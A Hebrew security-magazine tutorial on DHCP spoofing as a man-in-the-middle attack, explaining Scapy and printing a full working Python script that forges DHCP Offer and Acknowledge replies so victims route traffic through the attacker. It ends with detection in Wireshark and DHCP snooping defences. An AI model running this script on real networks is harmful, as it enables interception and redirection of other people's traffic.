והשנייה שולחת פקטות בשכבה השנייה,  Ethernet-ה ללא שכבת IP-ה בשכבה השלישית, כלומר בשכבת

 , להלן דוגמה לשימוש בשתי הפונקציות:Ethernet-ה כלומר עם שכבת

 :()sendדוגמא לשימוש בפונקציה 

 

 :()sendpדוגמא לשימוש בפונקציה 

 

, DHCP-ה חשוב מאוד שיש לציין, שבלעדיו הקוד שלנו לא היה מצליח להיות מהיר יותר משרתדבר 

-ה באופן יחסי לשרת) הפונקציות שהצגתי כרגע אכן שולחות פקטות, אך הן עושות את זה מאוד לאט

DHCPת האלו שולחות פקטה, הן יוצרות ו(, הסיבה לאיטיות הזו נעוצה בעובדה שבכל פעם שהפונקצי

בעת  כל פעם מחדש socket זה הדבר שבאמצעותו הן שולחות את הפקטה, ויצירת socket ו שנקראמשה

 שליחת הפקטה לוקח המון זמן!

 , ובהינתן הפרמטר הזה, הפונקציהsocketמקבלות פרמטר בשם  sendp)(-ו send)( למזלנו, הפונקציות

 שהבאנו לו ובכך תחסוך זמן יקר!  -socketחדש, אלא תשתמש ב socket לא תיצור
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מספק לנו,  scapy-ש conf בעזרת האובייקט socket , שם יצרנובתמונה הקודמת 18שימו לב לשורה 

 .socketעל ידי הפרמטר  sendpשיצרנו לפונקציה )( socket-ה ולאחר מכן, העברנו את

sr(x),sr1(x) ,srp(x)  ו-srp1(x) 

ומחזירות את התשובה  , שולחות אותה,xהפונקציות הנ"ל מקבלות פקטה בתור הפרמטר הראשון 

 לפקטה מהמחשב אליו היא נשלחה, כל פונקציה שונה במעט ולכן נעבור על השוני בקצרה:

 sr ←  ומקבלת  בשכבה השלישיתשולחת פקטהtuple  :מהצורה הבאה 

(packet_sent & answers, unanswered_packets) 

 sr1 ←  כתשובה ומקבלת את הפקטה שנשלחהבשכבה השלישית שולחת פקטה. 

 srp ←  ומקבלתבשכבה השנייה שולחת פקטהtuple   :מהצורה הבאה 

(packet_sent & answers, unanswered_packets) 

 srp1 ←  כתשובה ומקבלת את הפקטה שנשלחהבשכבה השנייה שולחת פקטה. 

, אם תנסו לעשות זאת googleשל  IP-ה שתחזיר לי את כתובת DNSאני שולח פקטת  הבאהבדוגמה 

 :googleשל  IP-ה עם כתובת DNSבעצמכם, תחזור אליכם פקטת 

 

, ובאופן דומה אפשר להשתמש בשאר הפונקציות, עם srp1זו הייתה דוגמה לאופן פעולתה של הפונקציה 

תיתקלו  tupleהוא  packetכאשר המשתנה  packet.showזאת, יש לשים לב שאם תנסו לעשות )(

 .printבשגיאה, במקרה הזה יש להדפיס את המשתנה בעזרת הפונקציה )(
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 Python-מימוש המתקפה ב

וקצת  DHCP Spoof -ועל ניצול אופן הפעולה שלו למתקפת  DHCP -לאחר שלמדנו על הפרוטוקול , כעת

 נוכל ליצור קוד שמדמה את המתקפה בעצמנו!  Scapy -על הספרייה 

, אם אתם לא מכירים את השפה או ששמעתם עליה אך אין לכם Python 3.7 -את הקוד נכתוב בשפה 

 מושג איך להשתמש בה, מומלץ ללמוד להשתמש בשפה אם ברצונכם להבין את הקוד לפני שנתחיל.

, אני ממליץ לכם לנסות לממש את הקוד לעומת זאת, למי שמכיר את השפה ויצא לו להשתמש בה כבר

 בעצמכם! ואפילו לשלוח למייל שלי שאותו אצרף בסוף המאמר את הקוד, בהצלחה לאמיצים!

, בדף הקישורים אצרף לינק להורדת העורך, כמו כן אצרף Visual Studio Codeאת הקוד אכתוב בעורך 

תוכלו , pipוהורדתם כלי בשם  Python -אם יש לכם כבר . Scapyולהורדת   Python 3.7לינקים להורדת

 :באופן מהיר יותר Scapyולכתוב את השורה הבאה על מנת להוריד את cmd -להיכנס ל

pip install scapy 

אתם מוזמנים להוריד את הקוד המצורף בסוף המאמר ולעקוב אחר ההסבר, את הקוד נכתוב שלב אחר 

 שלב עד להשלמתו.

  והגדרת משתנים imports :שלב א'

ו עכשיו, כשאנחנו סוף סוף מוכנים לכתוב את הקוד, נתחיל מהגדרת כל המשתנים והפונקציות שיעזרו לנ

 :לממש את הקוד
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  1בשורה מספר ( אנו מייביאיםimportאת כל הפונקציות של הספרייה ) Scapy  עליה דיברנו מוקדם

 יותר, על מנת להסניף ולשלוח פקטות ברשת המקומית.

  אנו מגדירים את כל המשתנים הגלובלים שיעזרו לנו בהמשך  20 - 3בשורות 

  אנו מגדירים משתנים הקשורים לפרוטוקול  9 - 3בשורותDHCPכמו המספר שקובע מה סוג חבילת , 

 מתקשר. DHCPוהפורטים שבהם הפרוטוקול  DHCP-ה

  ה אנו מגדירים את כל הגדרות הרשת כמו כתובת 20 - 11בשורות-IP  ,שלנו ושל הנתב האמיתי

של כרטיס הרשת שלנו ושל כרטיס הרשת של הנתב האמיתי, הגדרות אלו יחליפו את  MAC-ה כתובת

נותן בדרך כלל ללקוחות ובכך יגרמו לקורבנות לחשוב שהמחשב שלנו הוא  DHCP-ה ההגדרות ששרת

 הנתב האמיתי.

  !את הגדרות הרשת בקוד לפני שאנו כאשר אנו מחליפים רשת מקומית, עלינו גם לשנות שימו לב

 מריצים אותו על מנת שהוא יעבוד.

 על מנת לגלות את רוב הגדרות הרשת באופן מהיר, כנסו ל-CMD והכניסו את הפקודה ipconfig /all 

 על מנת לקבל הגדרות רשת מתקדמות כמו כתובת הנתב, הכתובת של המחשב שלכם, כתובת שרת

 '...וכו DNS-ה

  יוצריםאנו  - 22בשורה socket  על מנת ששליחת הפקטות תתבצע באופן מהיר, כפי שלמדנו בחלק

 .scapyשל 

  מערכים שישמשו אותנו בשמירת הכתובות החופשיות אותן ניתן  2אנו יוצרים  - 24 - 23בשורות

  לקורבנות שלנו ובשמירת הכתובות שנתנו לקורבנות שלנו.
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 mainבניית הפונקציה  :שלב ב'

תהיה הפונקציה הראשית שלנו ממנה הקוד יתחיל, תפקידה יהיה להסניף פקטות  main הפונקציה

 , הקוד לפונקציה הראשית יראה כך:עיבוד נוסףשנשלחות ברשת ולהעבירן ל 

 

ומעבירה אותן לעיבוד נוסף על ידי  sniff מסניפה פקטות על ידי שימוש בפונקציה main הפונקציה

 lfilter-, הפונקציה המתקבלת בbuild_dhcp_response_packets-ו filter_dhcp_packetsהפונקציות 

 .DHCP_REQUESTאו  DHCP DISCOVERתסנן את הפקטות הרלוונטיות בשבילנו שהן 

 במקרה שלנו,,  prnפקטה שעברה את הסינון בהצלחה תעבור כפרמטר לפונקציה שצוינה בפרמטר

כעת נעבור על כל אחת מהפונקציות בנפרד ונראה איך הן  ,build_dhcp_response_packets הפונקציה

 נראות.

חופשיות שניתן לקורבנות שלנו, לכן  IPאך לפני שהופנקציה עושה את כל זה, עלינו למצוא כתובות 

 ip_countשמוצאת כתובות חופשיות )הפונקציה תמצא find_vacant_ip_address נשתמש בפונקציה

 שהגדרנו בהתחלה. vacant_ips במשתנהכתובות חופשיות(, ושמה אותן 

 את הפונקציה אצרף בסוף המאמר ביחד עם שאר הקוד ולא אסביר על אופן פעולתה במאמר זה.

 

 סינון הפקטות :שלב ד'

 מקבלת כפרמטר את הפקטה שהוסנפה, ומצופה להחזיר ערך בוליאני filter_dhcp_packets הפונקציה 

(True  אוFalse אם ,)חזר הערך True אז הפקטה תעבור לפונקציה build_dhcp_response_packets 

תעבור לפקטה הבאה שהיא קלטה ותמשיך את  sniff לעיבוד נוסף, אחרת הפקטה תיזרק והפונקציה

 התהליך הנ"ל עד אשר התוכנה תסתיים.
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שהפונקציה בודקת נועד על מנת לעצור את המתקפה שלנו כאשר לא נשארו  89התנאי הראשון בשורה 

 :וד כתובות חופשיות להקצות לקורבןלנו ע

 

אז הפונקציה תעביר את הפקטה לעיבוד נוסף  Trueהפונקציה בודקת שני מקרים, ואם אחד מהם יהיה 

 .build_dhcp_response_packetsעל ידי 

 

is_dhcp_packet 

שעליה נרצה לענות לקורבן, על מנת לעשות זאת,  DHCPהתנאי הזה בודק אם הפקטה היא בכלל פקטת 

 נבדוק כמה דברים:

1. DHCP in packet -  תנאי זה נועד לבדוק האם הפקטה היא פקטתDHCP אם הפקטה היא לא פקטת ,

DHCP אז אנו אפילו לא מעוניינים להמשיך לבחון אותה, אלא אם כן היא פקטה שהקורבן שולח לנו 

 בשלב שהוא כבר בידינו(.)

התנאי נועד  על פי האיור למעלה. 93נבדוק את התנאי שבשורה  DHCP הפקטה היא אכן פקטתאם  .2

, אנו לא Requestאו פקטה מסוג   Discoverשתפסנו הינה פקטה מסוג - DHCP-ה לבדוק האם פקטת

 וכדומה.  NAK ,OFFER,ACKNOWLEDGE שקיימות כמו -DHCPמעוניינים בכל שאר פקטות ה

והפקטה  True תחזיר את  filter_dhcp_packetsשני התנאים האלו, הפוקנציהאם הפקטה עונה על 

 build_dhcp_response_packets -  תעבור כפרמטר לפונקציה הבאה שלנו

 

victim_packet 

אז יכול להיות שהיא פקטה שנשלחה על ידי הקורבן שלנו לאחר שכבר  DHCP אם הפקטה היא לא פקטת

של  IPשל הפקטה היא כתובת  IP-ה , תנאי זה בודק עם כתובתDHCP Spoof-ה ביצענו עליו את מתקפת

 (, ואם כך, הפקטה תעבור לעיבוד נוסף. victim_ipsהשמורים במשתנה) אחד מהקורבנות שלנו
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 (DHCP Offer, DHCP Acknowldege) בניית פקטות התשובה :שלב ה'

הפקטה שקיבלה ובונה בהתאם אליה את מעבדת את  build_dhcp_response_packets הפונקציה

מספיק לשלוח את פקטת התשובה שלו ובכך  DHCP-ה פקטת התשובה אותה נרצה לשלוח לפני ששרת

 :"לגנוב" את הלקוח ולתת לו הגדרות רשת מזויפות

 

אותו נשנה לאורך הפונקציה ולבסוף  packet_to_sendבתחילת הפונקציה אנו מגדירים משתנה בשם 

 נשלח את הפקטה לאן שנצטרך.

, אם כן, נוכל 138תחילה נבדוק אם הפקטה היא פקטה שהתקבלה מהקורבן שלנו על ידי התנאי בשורה 

להעביר את הפקטה לנתב ולהחזיר לקורבן את מה שרצה או שנוכל להחזיר לו משהו אחר, כמו אתר 

Phishing לה על רוחנו.או כל דבר אחר שנע 

מהר מהר  Broadcast-, אז אנו נצטרך לבנות פקטות מתאימות ולשלוח בDHCPאם הפקטה היא פקטת 

עושה זאת, תחילה נבדוק אם הפקטה ששלח הקורבן היא פקטת  DHCP-ה ולפני ששרת

DHCP_DISCOVER  ואם כן נבנה פקטתDHCP_OFFER  אחרת, נבנה פקטתDHCP_ACKNOWELDEGE 

הם משתנים גלובלים  DHCP_REQUEST_TYPE-ו DHCP_DISCOVER_TYPEיש לזכור שהמשתנים 

 .שהוגדרו בתחילת התוכנה המעידים על סוג הפקטה

 שונה, יש מספר המייצג את הסוג שלה, לרשימת הסוגים ומספרם השונים של פקטות DHCPלכל פקטת 

 DHCP :Protocol_Configuration_Host_Dynamic/wiki/org.wikipedia.en://https-ה

  

https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol
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 DHCP Offer-ה בניית פקטת

 

 נעשה בשלבים הבאים לפי הסדר הבא: DHCP Offer-ה את בניית פקטת 

 Ethernet - שכבת הקו 

 IP - שכבת הרשת 

 UDP - שכבת התעבורה 

 DHCP - שכבת האפליקציה 

 packet_to_sendולאחר הבנייה של כל שכבה בנפרד, נחבר את כל השכבות ביחד ונקצה למשתנה בשם 

( להיות כתובת המקור של כרטיס הרשת שלנו, ואת srcנקצה את כתובת המקור ) Ethernet-ה לשכבת

יהיה  src-ה IPנעשה את אותו הדבר רק עם כתובות  IP-ה לשכבת .Broadcast( להיות dstכתובת הקצה )

 .Broadcast-ה יהיה כתובת dst-השל המחשב שלנו ו IP-ה כתובת

 הוא 67הוא הפורט של הלקוח ופורט  68כאשר פורט  68-ו 67פועל על הפורטים  DHCP-ה פרוטוקול

( dport( ואת פורט היעד )sportאת פורט המקור ) UDP-ה , ולכן נשנה בשכבתDHCP-ה הפורט של שרת

 לערכים הנ"ל.

, ואנו נבנה את החלק הזה DHCPכעת הגענו לשכבת האפליקציה, ונרצה לבנות את החלק של הפרוטוקול 

 .BOOTPבעזרת הפרוטוקול 

, אך DHCP, ועשה פעולות דומות למה שעושה DHCPהוא פרוטוקול שהיה קיים לפני  BOOTPהפרוטוקול 

לאחר זמן מה, הוחלט לבנות פרוטוקול אחר, טוב יותר שיספק נתוני רשת ללקוחות ויעשה זאת בצורה 

, אך מאחר ואופן הפעולה של שני הפרוטוקולים הוא דומה בסך הכל, BOOTPמהפרוטוקול  טובה יותר

 ולבנות את האחד על השני. BOOTPעם  DHCPהוחלט לשלב את הפרוטוקול 

 :תוכלו לקרוא בלינק הבא בחלק של ההיסטוריה על איחוד הפרוטוקולים

https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol 

https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol
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לא כאלו מעניינים, החלקים החשובים הם הפרמטרים  BOOTPבכל מקרה, רוב הפרמטרים שבפרוטוקול 

xid ו-yiaddrה , הפרמטר הראשון הוא תעודת הזהות המיוחדת שיש לתהליך-DHCP  של הפקטה ששלח

שונה מהאחד שהיה לפקטה ששלח הקורבן, הוא  xidהקורבן, אם אנו נבנה את פקטת התשובה שלנו עם 

 לא יקבל אותה.

 victim_ip_offerשאנו מציעים לקורבן לקבל, הפרמטר יקבל את הערך IP-ה הפרמטר השני הוא כתובת

 , שהוא יהיה אחד מהכתובות החופשיות שמצאנו בתחילת המתקפה.111שאותו הגדרנו למעלה, בשורה 

-ו router :שניים מהפרמטרים אך, שוב, על הרבה מהפרמטרים לא ארחיב, DHCP-ה הגענו לבניית

server_id  המתקפה, לפרמטרים הללו נקצה את הערך הם החלק החשוב שלMY_COMPUTER_IP , דבר

 זה יגיד לקורבן שכתובת הנתב היא הכתובת של המחשב שלנו.

" שכן רוב 255.255.255.3הקצתי באופן סטטי להיות " subnet_maskיש לשים לב שאת הפרמטר 

המתקפה, מאחר הרשתות משתמשות בערך הזה, אך יש לשים לב לדבר כאשר אנו מנסים לבצע את 

 ויכול להיות שערך זה לא יהיה נכון ותצטרכו לשנותו.

 .packet_to_sendובסוף הבנייה של כל השכבות בנפרד, נחבר את כולן ביחד ונקצה למשתנה 

 :DHCP Acknowledge-בניית פקטת ה

 

 DHCP-ה הוא מאוד דומה לתהליך של בניית פקטת DHCP ACKNOWLEDGE-ה תהליך בניית פקטת

OFFER,  הדבר היחידי ששונה הוא סוג הפקטה תחת הפרמטרmessage-type. 

 vacant_ipsאנו מסירים את הכתובת שנתנו לקורבן מהמערך --176 175לאחר בניית הפקטה בשורות 

 .victim_ipsואנו מוסיפים אותה למערך 
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וזהו זה. סיימנו לכתוב את הקוד של המתקפה, לפני שאתם מנסים בעצמכם את הקוד, שימו לב 

שהורדתם את כל הספריות, כמו כן שימו לב שכל המשתנים הגלובליים שהגדרנו בהתחלה מוגדרים 

 .לרשת המקומית שלכםאצלכם לערכים הנכונים 
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 זיהוי המתקפה

וכתבם את המתקפה בעצמכם, אתם בטח שואלים את , לאחר שהבנתם איך המתקפה עובדת, כעת

אז אל דאגה, רוב הסיכויים שאף אחד  ...עצמכם, מה אם מישהו תוקף אותי ממש עכשיו עם המתקפה הזו

 …בכל זאת, למה שלא תדעו אךלא תוקף אתכם, 

 או כל תוכנת) Wiresharkאנו יודעים שהמתקפה הזו מתבצעת ברגע ההתחברות לרשת, לכן, נפתח את 

ונתחיל להסניף על כרטיס הרשת שאיתו נתחבר לרשת, בשבילי זה ( הסנפה אחרת שתרצו לעבוד איתה

 :Wifi-ה יהיה כרטיס

 

כעת בהנחה ואתם מחוברים לאינטרנט, תתנתקו ממנו. על מנת שנוכל לנתח את תהליך ההתחברות 

 :Wireshark שלבשורת המסננים " dhcp" , ולשם כך, נכתובdhcpנרצה להסניף את הפרוטוקול 

 

, בהנחה Wireshark-תוך כדי שההסנפה פועלת, התחברו לאינטרנט ושימו לב לפקטות שאתם רואים ב

פקטות )או שתיים אם הנתב לא שכח  4והכל עובד, ואף אחד לא תוקף אתכם אתם אמורים לראות 

 D.O.R.A-ה אתכם( ממש כפי שלמדנו בתחילת המאמר, לפי תהליך
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פקטות שנשלחות מהנתב אליכם,  2פקטות, מאחר וישנן  6אבל, אם מישהו אכן תוקף אתכם, אתם תיראו 

פקטות בתהליך )אם הנתב זוכר אתכם,  2פקטות, לכן נראה הוספה של  2התוקף ישלח גם כן את אותן 

 :נוספת( ACKפקטות, מאחר והתוקף ישלח פקטת  3אתם תיראו 

 

, אבל מה אם DHCP Spoofדעים איך לדעת אם מישהו תוקף אתכם במתקפת אוקיי, מצוין, עכשיו אתם יו

 אתם כבר מחוברים לרשת ואתם רוצים לדעת אם אתם כבר תחת התקפה.

במקרה הזה, אין הרבה שתוכלו לעשות כדי לגלות אם אתם תחת מתקפה או לא, אבל מאחר ועכשיו כל 

אנו נוכל להניח שיקח להן זמן רב יותר ( כמובןשהוא התוקף ) הפקטות צריכות לעבור דרך גורם נוסף

לחזור אלינו, ולכן, אם האינטרנט שלכם איטי במידה מחשידה בלי שום סיבה, יכול להיות שאתם תחת 

 התקפה 
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 דרכי התגוננות

אם אתם חושדים הדבר הטוב ביותר שאתם ) אמנם אין לנו דרך לדעת אם מישהו תוקף אותנו ברגע זה

וא פשוט להתנתק מהרשת(, אבל כן נוכל להתגונן מהתקפות עתידיות שעלולות לבוא על יכולים לעשות ה

 הרשת שלנו.

, DHCP Snoopingהיא שיטה שנקראת  DHCP Spoofהשיטה הנפוצה ביותר כיום להגנה מפני מתקפת 

למען האמת, אני אישית לא נתקלתי באף רשת שהשתמשה בהגנה הזו, אבל אני יכול לשער שברוב 

 החברות הגדולות שלוקחות ברצינות מתקפות נגדן דרך ההגנה הזו נמצאת בשימוש.

היא בעצם פיסת תוכנה, המותקנת על ( Dsnopשכעת, על מנת לקצר תהליכים תקרא בשם ) ההגנה הזו

אילו (. (Invalid ומשמיטה פקטות כוזבות DHCP הנתב שמנהל את הרשת המקומית, המנטרת תעבורת

 משמיט? Dsnopפקטות 

 יושמטו. לא אמין DHCP הנשלחות משרת DHCP פקטות .1

האמיתית של כרטיס  MAC-ה בהן אינה תואמת את כתובת MAC-ה אשר כתובת DHCP פקטות .2

 הרשת ממנו הן נשלחות.

-ה אשר דוחה הצעה משרת DHCP או פקטת( DHCP RELEASE) אשר משחררות חיבור DHCP פקטות .3

DHCP  בשםDHCP DECLINE נשלחות מהמחשב שרוצה לשחרר את החיבור או לדחות הצעה, , שלא

 יושמטו.

ועל איך בדיוק הוא מגלה ומשמיט את הפקטות הנ"ל תוכלו לקרוא בלינק המצורף בסוף  Dsnop עוד על

 המאמר.
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 סיכום

והבנו איך ניתן לנצל את אופן  DHCPזהו זה, סיימתם את המאמר, התחלנו בהסבר על הפרוטוקול 

, Scapyבעזרת הספרייה  Python-, מימשנו את המתקפה בMITMהעבודה שלו על מנת לבצע מתקפת 

 וסיימנו בללמוד על הדרכים לזיהוי והגנה מפני המתקפה.

אני מקווה מאוד שלמדתם דברים חדשים ומעניינים ואני ממליץ לחובבי התקפות הסייבר שבינכם להמשיך 

 ולא פחות חשוב, איך להגן מפניהן(.) וד על מתקפות שונות ומגוונותוללמ

 קצת על עצמי:

תלמיד כיתה י"ב, לומד בירושלים, חובב מתקפות סייבר ואבטחת מידע,  18קוראים לי דן בוגנים, אני בן 

, מי שעדיין משתפשף בנושא רשתות תקשורתשל גבהים מהחוברת המצוינת התחלתי ללמוד על הנושא 

עם כל הנושא של רשתות תקשורת ופרוטוקלים ולא בטוח איך הדברים עובדים אני אישית ממליץ מאוד 

לקרוא את החוברת הזו, לכל שאלה בנושא המאמר או בנושאים כללים הקשורים לסייבר אשמח לענות 

 בכתובת האימייל:

 danbu9@gmail.com 

 

https://data.cyber.org.il/networks/networks.pdf
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 דף קישורים

 מאמר נרחב על אופן הפעולה של :DHCP 

https://www.digitalwhisper.co.il/files/Zines/0x33/DW51-1-DHCP.pdf 

 RFC 2131 - Dynamic Host Configuration Protocol 

https://tools.ietf.org/html/rfc2131 

  קישור ללימודPython: 

https://www.youtube.com/watch?v=HBxCHonP6Ro&list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw9

1mC_ 

  קישור ללימודScapy: 

https://data.cyber.org.il/networks/networks.pdf 

  קישור להורדתWireshark: 

https://www.wireshark.org/download.html 

  קישור להורדתVisual Studio Code: 

https://code.visualstudio.com/download 

 NBNS Spoofing: 

https://www.digitalwhisper.co.il/files/Zines/0x20/DW32-1-NBNSSpoofing.pdf 

 DHCP Snooping: 

https://packetpushers.net/five-things-to-know-about-dhcp-snooping/ 

 

https://www.alliedtelesis.com/sites/default/files/documents/how-alliedware/howto_config_ 

dhcp_snooping_rapier1.pdf 

 

 ARP Poisoning: 

TheMItM.pdf-2-https://www.digitalwhisper.co.il/files/Zines/0x45/DW69

https://www.digitalwhisper.co.il/files/Zines/0x33/DW51-1-DHCP.pdf
https://tools.ietf.org/html/rfc2131
https://www.youtube.com/watch?v=HBxCHonP6Ro&list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_
https://www.youtube.com/watch?v=HBxCHonP6Ro&list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_
https://data.cyber.org.il/networks/networks.pdf
https://www.wireshark.org/download.html
https://code.visualstudio.com/download
https://www.digitalwhisper.co.il/files/Zines/0x20/DW32-1-NBNSSpoofing.pdf
https://packetpushers.net/five-things-to-know-about-dhcp-snooping
https://www.alliedtelesis.com/sites/default/files/documents/how-alliedware/howto_config_%20dhcp_snooping_rapier1.pdf
https://www.alliedtelesis.com/sites/default/files/documents/how-alliedware/howto_config_%20dhcp_snooping_rapier1.pdf
https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-2-TheMItM.pdf
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 הקוד המלא -נספח א' 

from scapy.all import * # pip install scapy 

from func_timeout import func_timeout, FunctionTimedOut # pip install func_timeout 

import socket # pip install socket 

 

DHCP_DISCOVER_TYPE = 1 

DHCP_REQUEST_TYPE = 3 

DHCP_OFFER_TYPE = 2 

DHCP_ACKNOWLEDGE_TYPE = 5 

BOOTPC = 68 # Client side DHCP port 

BOOTPS = 67 # DHCP server side port 

BOOTP_REPLY_OP_CODE = 2 

 

BROADCAST_MAC = "ff:ff:ff:ff:ff:ff" 

BROADCAST_IP = "255.255.255.255" 

 

MY_COMPUTER_MAC = "aa:bb:cc:dd:ee:ff" # Your computer MAC Address in the following format 

??:??:??:??:??:?? where ? is a hexadecimal number 

MY_COMPUTER_IP = "192.168.1.31" # Your computer LOCAL IP for example 192.168.1.31 

 

REAL_ROUTER_MAC = "ff:ee:dd:cc:bb:aa" # Router's MAC Address in the following format ??:??:??:??:??:?? 

where ? is a hexadecimal number 

REAL_ROUTER_IP = "192.168.1.1" # Real Router IP 

DNS_SERVER_IP = "192.168.1.1" # DNS Server IP 

SUBNET_MASK = "192.168.1." # Your subnet mask in the following format - if your ip address is 

192.168.1.31 and the subnet is 255.255.255.0 so SUBNET_MASK will be 192.168.1 

 

socket_send = conf.L2socket() 

vacant_ips = [] 

victim_ips = [] 

 

# Finds vacant IP Addresses and returns a vacant IP Addresses array 

# Deafult ip_count ( how many victims ) will be 1 

def find_vacant_ip_address(ip_count = 1): 

    time_to_wait = 1 # in seconds 

    count = 2 

 

    ping_packet = IP(src = MY_COMPUTER_IP) / ICMP(type = "echo-request") / 

Raw('abcdefghigklmnopqrstuvwabcdefghi') # ICMP Echo Request 

 

    while len(vacant_ips) < ip_count: 

        print(len(vacant_ips)) 

        ping_packet[IP].dst = SUBNET_MASK + str(count) 

 

        if (ping_packet[IP].dst == MY_COMPUTER_IP): 

            count += 1 

            ping_packet[IP].dst = SUBNET_MASK + str(count) 

 

        try: 

            func_timeout(time_to_wait, sr1, ping_packet) 

        except FunctionTimedOut: 

            vacant_ips.append(ping_packet[IP].dst) 

 

        count += 1 

   

    print(vacant_ips) 

    print("Victim Count = {0}  Victim IP = {1}".format(len(vacant_ips), vacant_ips[len(vacant_ips) - 

1])) 

 

# Filters the dhcp packets 

def filter_dhcp_packets(packet): 

    if ((len(vacant_ips) <= 0)): 

        return False 

 

    is_dhcp_packet = ( DHCP in packet ) and  

                     ( packet[DHCP].options[0][1] in (DHCP_DISCOVER_TYPE, DHCP_REQUEST_TYPE)) 

 

    victim_packet = ( IP in packet ) and ( packet[IP].src in victim_ips) 

 

    return is_dhcp_packet or victim_packet 
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# Build dhcp response packets 

# IMPORTENT! 

# Scapy calculates the len, and chcksm field and replaces them for us in the packet!!!!! 

# sr(), sr1() -> send and recive packets in the 3 layer 

# srp(), srp1() -> send and recive packets in the 2 layer 

# functions with 1 means that they will wait until getting only 1 answer and then stop 

def build_dhcp_response_packets(packet): 

    print("Building packet!") 

    packet_to_send = None 

 

    if (DHCP not in packet): 

        ######################## 

        # 

        # Here you can change the response_packet value  

        # To whatever value you would like to send to  

        # your victim 

        ######################## 

        response_packet = None 

 

        sendp(response_packet, socket = socket_send) 

    else: 

        victim_ip_offer = vacant_ips[len(vacant_ips) - 1] 

 

        # Build a DHCP Offer packet and send to victim          

        if (packet[DHCP].options[0][1] == DHCP_DISCOVER_TYPE): 

            print("Sending Offer Packet!") 

 

            ether_layer = Ether(src = MY_COMPUTER_MAC, dst = BROADCAST_MAC) 

             

            ip_layer = IP(src = MY_COMPUTER_IP, dst = BROADCAST_IP) 

             

            udp = UDP(sport = BOOTPS, dport = BOOTPC) 

             

            bootp = BOOTP(op = BOOTP_REPLY_OP_CODE, xid = packet[BOOTP].xid, yiaddr = victim_ip_offer, 

siaddr = MY_COMPUTER_IP,  

                          chaddr = packet[BOOTP].chaddr, sname = packet[BOOTP].sname, file = 

packet[BOOTP].file,  

                          options = packet[BOOTP].options) 

             

            dhcp = DHCP(options = [ 

                   ('message-type', DHCP_OFFER_TYPE), ('subnet_mask', '255.255.255.0'),  

                   ('time_zone', b'\x00\x00\x00\x00'),  

                   ('router', MY_COMPUTER_IP), ('default_ttl', b'@'), ('lease_time', 3600),  

                   ('server_id', MY_COMPUTER_IP),  

                   ('renewal_time', 1800), ('rebinding_time', 3150),  

                   ('name_server', DNS_SERVER_IP), 'end', 'pad']) 

 

            packet_to_send = ether_layer / ip_layer / udp / bootp / dhcp 

 

        # Build a DHCP Acknowledge packet and send to victim 

        elif (packet[DHCP].options[0][1] == DHCP_REQUEST_TYPE): 

            print("Sending Acknowledge Packet!") 

 

            ether_layer = Ether(src = MY_COMPUTER_MAC, dst = BROADCAST_MAC) 

             

            ip_layer = IP(src = MY_COMPUTER_IP, dst = BROADCAST_IP)  

             

            udp = UDP(sport = BOOTPS, dport = BOOTPC)  

 

            bootp = BOOTP(op = BOOTP_REPLY_OP_CODE, xid = packet[BOOTP].xid,  

                                      yiaddr = victim_ip_offer, siaddr = MY_COMPUTER_IP,  

                                      chaddr = packet[BOOTP].chaddr, sname = packet[BOOTP].sname,  

                                      file = packet[BOOTP].file,  

                          options = packet[BOOTP].options) 

                           

            dhcp = DHCP(options = [ 

                      ('message-type', DHCP_ACKNOWLEDGE_TYPE),  

                      ('subnet_mask', '255.255.255.0'),  

                      ('time_zone', b'\x00\x00\x00\x00'),  

                      ('router', MY_COMPUTER_IP), ('default_ttl', b'@'), ('lease_time', 3600),  

                      ('server_id', MY_COMPUTER_IP),  

                      ('renewal_time', 1800), ('rebinding_time', 3150),  

                      ('name_server', DNS_SERVER_IP), 'end', 'pad']) 
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            vacant_ips.remove(vacant_ips[len(vacant_ips) - 1]) 

            victim_ips.append(victim_ip_offer) 

 

            packet_to_send = ether_layer / ip_layer / udp / bootp / dhcp 

 

 

        sendp(packet_to_send, socket = socket_send) 

 

def main(): 

    # Finding vacant IP'S To give the victims 

    find_vacant_ip_address(ip_count = 1) 

 

    # Sniffing to find DHCP Discovery / Request packets in order to answer them 

    sniff(lfilter = filter_dhcp_packets, prn = build_dhcp_response_packets) 

 

if __name__ == '__main__': 

    main() 
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 דברי סיכום
 

, אנו מאוד מקווים כי נהנתם מהגליון והכי Digital Whisperשל  115-בזאת אנחנו סוגרים את הגליון ה

למדתם ממנו. כמו בגליונות הקודמים, גם הפעם הושקעו הרבה מחשבה, יצירתיות, עבודה קשה  -חשוב

 ושעות שינה אבודות כדי להביא לכם את הגליון. 

אנחנו מחפשים כתבים, מאיירים, עורכים ואנשים המעוניינים לעזור ולתרום לגליונות הבאים. אם 

 צרו קשר!  - Digital Whisperאתם רוצים לעזור לנו ולהשתתף במגזין 

ניתן לשלוח כתבות וכל פניה אחרת דרך עמוד "צור קשר" באתר שלנו, או לשלוח אותן לדואר האלקטרוני 

 .editor@digitalwhisper.co.ilשלנו, בכתובת 

 

 על מנת לקרוא גליונות נוספים, ליצור עימנו קשר ולהצטרף לקהילה שלנו, אנא בקרו באתר המגזין:

www.DigitalWhisper.co.il 
"Talkin' bout a revolution sounds like a whisper" 

 

 .פברוארבסוף חודש ון הבא ייצא הגלי

 

 אפיק קסטיאל,         

 ניר אדר,         

         31.01.2020 
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